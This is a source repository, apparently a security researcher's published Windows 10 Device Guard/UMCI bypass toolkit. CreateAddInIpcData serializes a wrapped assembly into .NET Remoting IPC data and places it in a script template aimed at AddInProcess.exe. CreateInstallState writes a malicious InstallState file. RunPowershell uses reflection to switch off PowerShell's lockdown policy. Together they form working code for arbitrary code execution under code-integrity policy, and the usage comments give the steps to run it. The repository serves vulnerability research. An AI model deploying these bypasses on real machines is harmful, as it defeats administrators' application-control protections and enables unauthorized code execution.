writer.Write(uriData.Length); // Length 44 | writer.Write(uriData); // URI 45 | 46 | writer.Write((ushort)0); // Terminating Header 47 | writer.Write(data); // Data 48 | return stm.ToArray(); 49 | } 50 | 51 | const string IPC_URI = "ipc://32a91b0f-30cd-4c75-be79-ccbd6345de11/AddInServer"; 52 | 53 | static void Main(string[] args) 54 | { 55 | try 56 | { 57 | if (args.Length < 2) 58 | { 59 | Console.WriteLine("Usage: assembly.dll output.sct"); 60 | Environment.Exit(1); 61 | } 62 | 63 | byte[] ba = BuildRequestBytes(Serializer.SerializeToBytes(new WrappedAssemblyObject(args[0])), IPC_URI); 64 | File.WriteAllText(args[1], Properties.Resources.Template.Replace("%BYTES%", String.Join("," + Environment.NewLine, ba.Select(b => String.Format("0x{0:X}", b))))); 65 | } 66 | catch (Exception ex) 67 | { 68 | Console.WriteLine(ex); 69 | } 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /CreateAddInIpcData/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("CreateAddInIpcData")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("CreateAddInIpcData")] 12 | [assembly: AssemblyCopyright("Copyright © James Forshaw 2017")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("d85e3601-0421-4efa-a479-f3370c0498fd")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] 36 | -------------------------------------------------------------------------------- /CreateAddInIpcData/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace CreateAddInIpcData.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("CreateAddInIpcData.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized string similar to <script> 65 | ///// First run %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe /guid:32A91B0F-30CD-4C75-BE79-CCBD6345DE11 /pid:XXXX 66 | ///// Where XXXX is the PID of a stable process on the system (such as explorer.exe) 67 | ///// Next run this HTML file using HH PATH\TO\HTML. The HTML must be unblocked, it can't have a Zone Identifier associated with it. 68 | ///var d = { 69 | ///0x0 : 0x0 , 70 | ///0x1 : 0x1 , 71 | ///0x2 : 0x2 , 72 | ///0x3 : 0x3 , 73 | ///0x4 : 0x4 , 74 | ///0x5 : 0x5 , 75 | ///0x6 : 0x6 , 76 | ///0x7 : 0x7 , 77 | ///0x8 : 0x8 , 78 | ///0x9 : 0x9 , 79 | ///0xa : 0xa , 80 | ///0xb [rest of string was truncated]";. 81 | /// 82 | internal static string Template { 83 | get { 84 | return ResourceManager.GetString("Template", resourceCulture); 85 | } 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /CreateAddInIpcData/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\Resources\Template.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 123 | 124 | -------------------------------------------------------------------------------- /CreateAddInIpcData/Resources/Template.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 10 | 292 | 293 | 294 | -------------------------------------------------------------------------------- /CreateInstallState/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /CreateInstallState/CreateInstallState.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {256607C2-4126-4272-A2FA-A1FFC0A734F0} 8 | Exe 9 | Properties 10 | CreateInstallState 11 | CreateInstallState 12 | v4.5 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | {4e6ceea1-f266-401c-b832-f91432d46f42} 56 | CommonLib 57 | 58 | 59 | 60 | 67 | -------------------------------------------------------------------------------- /CreateInstallState/Program.cs: -------------------------------------------------------------------------------- 1 | // This file is part of Device Guard Bypasses 2 | // 3 | // Device Guard Bypasses is free software: you can redistribute it 4 | // and/or modify it under the terms of the GNU General Public License 5 | // as published by the Free Software Foundation, either version 3 of 6 | // the License, or (at your option) any later version. 7 | // 8 | // Foobar is distributed in the hope that it will be useful, 9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the 11 | // GNU General Public License for more details. 12 | // 13 | // You should have received a copy of the GNU General Public License 14 | // along with Device Guard Bypasses. If not, see. 15 | 16 | using CommonLib; 17 | using System; 18 | 19 | namespace CreateInstallState 20 | { 21 | class Program 22 | { 23 | static void Main(string[] args) 24 | { 25 | try 26 | { 27 | if (args.Length < 2) 28 | { 29 | Console.WriteLine("Usage: assembly.dll mscorlib.InstallState"); 30 | Environment.Exit(1); 31 | } 32 | 33 | Serializer.SerializeToNetDataSerializer(args[1], 34 | new WrappedAssemblyObject(args[0])); 35 | } 36 | catch (Exception ex) 37 | { 38 | Console.WriteLine(ex); 39 | } 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /CreateInstallState/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("CreateInstallState")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("CreateInstallState")] 13 | [assembly: AssemblyCopyright("Copyright © James Forshaw 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("256607c2-4126-4272-a2fa-a1ffc0a734f0")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /DeviceGuardBypasses.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CommonLib", "CommonLib\CommonLib.csproj", "{4E6CEEA1-F266-401C-B832-F91432D46F42}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CreateAddInIpcData", "CreateAddInIpcData\CreateAddInIpcData.csproj", "{D85E3601-0421-4EFA-A479-F3370C0498FD}" 9 | EndProject 10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExampleAsm", "ExampleAsm\ExampleAsm.csproj", "{F318466D-D310-49AD-A967-67EFBBA29898}" 11 | EndProject 12 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Bootstrap", "Bootstrap\Bootstrap.csproj", "{3705800F-1424-465B-937D-586E3A622A4F}" 13 | EndProject 14 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RunPowershell", "RunPowershell\RunPowershell.csproj", "{1E6E9B03-DD5F-4047-B386-AF7A7904F884}" 15 | EndProject 16 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CreateInstallState", "CreateInstallState\CreateInstallState.csproj", "{256607C2-4126-4272-A2FA-A1FFC0A734F0}" 17 | EndProject 18 | Global 19 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 20 | Debug|Any CPU = Debug|Any CPU 21 | Release|Any CPU = Release|Any CPU 22 | EndGlobalSection 23 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 24 | {4E6CEEA1-F266-401C-B832-F91432D46F42}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 25 | {4E6CEEA1-F266-401C-B832-F91432D46F42}.Debug|Any CPU.Build.0 = Debug|Any CPU 26 | {4E6CEEA1-F266-401C-B832-F91432D46F42}.Release|Any CPU.ActiveCfg = Release|Any CPU 27 | {4E6CEEA1-F266-401C-B832-F91432D46F42}.Release|Any CPU.Build.0 = Release|Any CPU 28 | {D85E3601-0421-4EFA-A479-F3370C0498FD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 29 | {D85E3601-0421-4EFA-A479-F3370C0498FD}.Debug|Any CPU.Build.0 = Debug|Any CPU 30 | {D85E3601-0421-4EFA-A479-F3370C0498FD}.Release|Any CPU.ActiveCfg = Release|Any CPU 31 | {D85E3601-0421-4EFA-A479-F3370C0498FD}.Release|Any CPU.Build.0 = Release|Any CPU 32 | {F318466D-D310-49AD-A967-67EFBBA29898}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 33 | {F318466D-D310-49AD-A967-67EFBBA29898}.Debug|Any CPU.Build.0 = Debug|Any CPU 34 | {F318466D-D310-49AD-A967-67EFBBA29898}.Release|Any CPU.ActiveCfg = Release|Any CPU 35 | {F318466D-D310-49AD-A967-67EFBBA29898}.Release|Any CPU.Build.0 = Release|Any CPU 36 | {3705800F-1424-465B-937D-586E3A622A4F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 37 | {3705800F-1424-465B-937D-586E3A622A4F}.Debug|Any CPU.Build.0 = Debug|Any CPU 38 | {3705800F-1424-465B-937D-586E3A622A4F}.Release|Any CPU.ActiveCfg = Release|Any CPU 39 | {3705800F-1424-465B-937D-586E3A622A4F}.Release|Any CPU.Build.0 = Release|Any CPU 40 | {1E6E9B03-DD5F-4047-B386-AF7A7904F884}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 41 | {1E6E9B03-DD5F-4047-B386-AF7A7904F884}.Debug|Any CPU.Build.0 = Debug|Any CPU 42 | {1E6E9B03-DD5F-4047-B386-AF7A7904F884}.Release|Any CPU.ActiveCfg = Release|Any CPU 43 | {1E6E9B03-DD5F-4047-B386-AF7A7904F884}.Release|Any CPU.Build.0 = Release|Any CPU 44 | {256607C2-4126-4272-A2FA-A1FFC0A734F0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 45 | {256607C2-4126-4272-A2FA-A1FFC0A734F0}.Debug|Any CPU.Build.0 = Debug|Any CPU 46 | {256607C2-4126-4272-A2FA-A1FFC0A734F0}.Release|Any CPU.ActiveCfg = Release|Any CPU 47 | {256607C2-4126-4272-A2FA-A1FFC0A734F0}.Release|Any CPU.Build.0 = Release|Any CPU 48 | EndGlobalSection 49 | GlobalSection(SolutionProperties) = preSolution 50 | HideSolutionNode = FALSE 51 | EndGlobalSection 52 | EndGlobal 53 | -------------------------------------------------------------------------------- /ExampleAsm/EntryPoint.cs: -------------------------------------------------------------------------------- 1 | // This file is part of Device Guard Bypasses 2 | // 3 | // Device Guard Bypasses is free software: you can redistribute it 4 | // and/or modify it under the terms of the GNU General Public License 5 | // as published by the Free Software Foundation, either version 3 of 6 | // the License, or (at your option) any later version. 7 | // 8 | // Foobar is distributed in the hope that it will be useful, 9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the 11 | // GNU General Public License for more details. 12 | // 13 | // You should have received a copy of the GNU General Public License 14 | // along with Device Guard Bypasses. If not, see. 15 | 16 | using System.Windows.Forms; 17 | 18 | namespace ExampleAsm 19 | { 20 | public class EntryPoint 21 | { 22 | public EntryPoint() 23 | { 24 | MessageBox.Show("Hello"); 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /ExampleAsm/ExampleAsm.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {F318466D-D310-49AD-A967-67EFBBA29898} 8 | Library 9 | Properties 10 | ExampleAsm 11 | ExampleAsm 12 | v4.5.2 13 | 512 14 | 15 | 16 | true 17 | full 18 | false 19 | bin\Debug\ 20 | DEBUG;TRACE 21 | prompt 22 | 4 23 | 24 | 25 | pdbonly 26 | true 27 | bin\Release\ 28 | TRACE 29 | prompt 30 | 4 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 55 | -------------------------------------------------------------------------------- /ExampleAsm/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("ExampleAsm")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("ExampleAsm")] 12 | [assembly: AssemblyCopyright("Copyright © James Forshaw 2017")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("f318466d-d310-49ad-a967-67efbba29898")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] 36 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. 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Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | Windows 10 Device Guard Bypasses 2 | (c) 2017 James Forshaw 3 | 4 | This solution contains some of my UMCI/Device Guard bypasses. They're 5 | are designed to allow you to analyze a system, such as Windows 10 S 6 | which comes pre-configured with a restrictive UMCI policy. 7 | 8 | CreateAddInIpcData: 9 | 10 | Tested on Windows 10 15063.483 with .NET 4.7. 11 | 12 | This is an issue with the exposed .NET Remoting IPC channel in AddInProcess.exe 13 | (and AddInProcess32.exe) on .NET v4+. 14 | 15 | See my blog post (https://tyranidslair.blogspot.com/2017/07/dg-on-windows-10-s-executing-arbitrary.html) 16 | for more information about how to use this bypass code. -------------------------------------------------------------------------------- /RunPowershell/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /RunPowershell/Program.cs: -------------------------------------------------------------------------------- 1 | // This file is part of Device Guard Bypasses 2 | // 3 | // Device Guard Bypasses is free software: you can redistribute it 4 | // and/or modify it under the terms of the GNU General Public License 5 | // as published by the Free Software Foundation, either version 3 of 6 | // the License, or (at your option) any later version. 7 | // 8 | // Foobar is distributed in the hope that it will be useful, 9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the 11 | // GNU General Public License for more details. 12 | // 13 | // You should have received a copy of the GNU General Public License 14 | // along with Device Guard Bypasses. If not, see. 15 | 16 | using Microsoft.PowerShell; 17 | using System; 18 | using System.Drawing; 19 | using System.IO; 20 | using System.Management.Automation.Security; 21 | using System.Reflection; 22 | using System.Runtime.InteropServices; 23 | using System.Windows.Forms; 24 | 25 | namespace RunPowershell 26 | { 27 | static class Program 28 | { 29 | [DllImport("kernel32.dll", SetLastError = true)] 30 | static extern bool AllocConsole(); 31 | 32 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 33 | static extern bool SetConsoleTitle(string lpConsoleTitle); 34 | 35 | [DllImport("kernel32.dll", SetLastError = true)] 36 | static extern IntPtr GetConsoleWindow(); 37 | 38 | [DllImport("user32.dll", SetLastError = true)] 39 | static extern IntPtr SendMessage( 40 | IntPtr hWnd, 41 | int Msg, 42 | int wParam, 43 | IntPtr lParam 44 | ); 45 | 46 | const int WM_SETICON = 0x0080; 47 | const int ICON_BIG = 1; 48 | const int ICON_SMALL = 0; 49 | 50 | static void SetIcon() 51 | { 52 | try 53 | { 54 | IntPtr wnd = GetConsoleWindow(); 55 | Icon icon = Icon.ExtractAssociatedIcon( 56 | Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), 57 | "WindowsPowerShell", "v1.0", "powershell.exe")); 58 | SendMessage(wnd, WM_SETICON, ICON_BIG, icon.Handle); 59 | SendMessage(wnd, WM_SETICON, ICON_SMALL, icon.Handle); 60 | } 61 | catch 62 | { 63 | } 64 | } 65 | 66 | /// 67 | /// The main entry point for the application. 68 | /// 69 | [STAThread] 70 | static void Main(string[] args) 71 | { 72 | try 73 | { 74 | var fi = typeof(SystemPolicy).GetField("systemLockdownPolicy", 75 | BindingFlags.NonPublic | BindingFlags.Static); 76 | fi.SetValue(null, SystemEnforcementMode.None); 77 | 78 | AllocConsole(); 79 | SetConsoleTitle("Windows Powershell"); 80 | SetIcon(); 81 | UnmanagedPSEntry ps = new UnmanagedPSEntry(); 82 | ps.Start(null, args); 83 | Environment.Exit(0); 84 | } 85 | catch (Exception ex) 86 | { 87 | MessageBox.Show(ex.Message); 88 | } 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /RunPowershell/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("RunPowershell")] 8 | [assembly: AssemblyDescription("Run PowerShell in entirely managed code.")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("RunPowershell")] 12 | [assembly: AssemblyCopyright("Copyright © James Forshaw 2017")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("1e6e9b03-dd5f-4047-b386-af7a7904f884")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] 36 | -------------------------------------------------------------------------------- /RunPowershell/RunPowershell.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {1E6E9B03-DD5F-4047-B386-AF7A7904F884} 8 | Exe 9 | Properties 10 | RunPowershell 11 | RunPowershell 12 | v4.5 13 | 512 14 | 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | false 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | false 36 | 37 | 38 | 39 | 40 | 41 | 42 | False 43 | False 44 | 45 | 46 | 47 | 48 | False 49 | False 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 76 | --------------------------------------------------------------------------------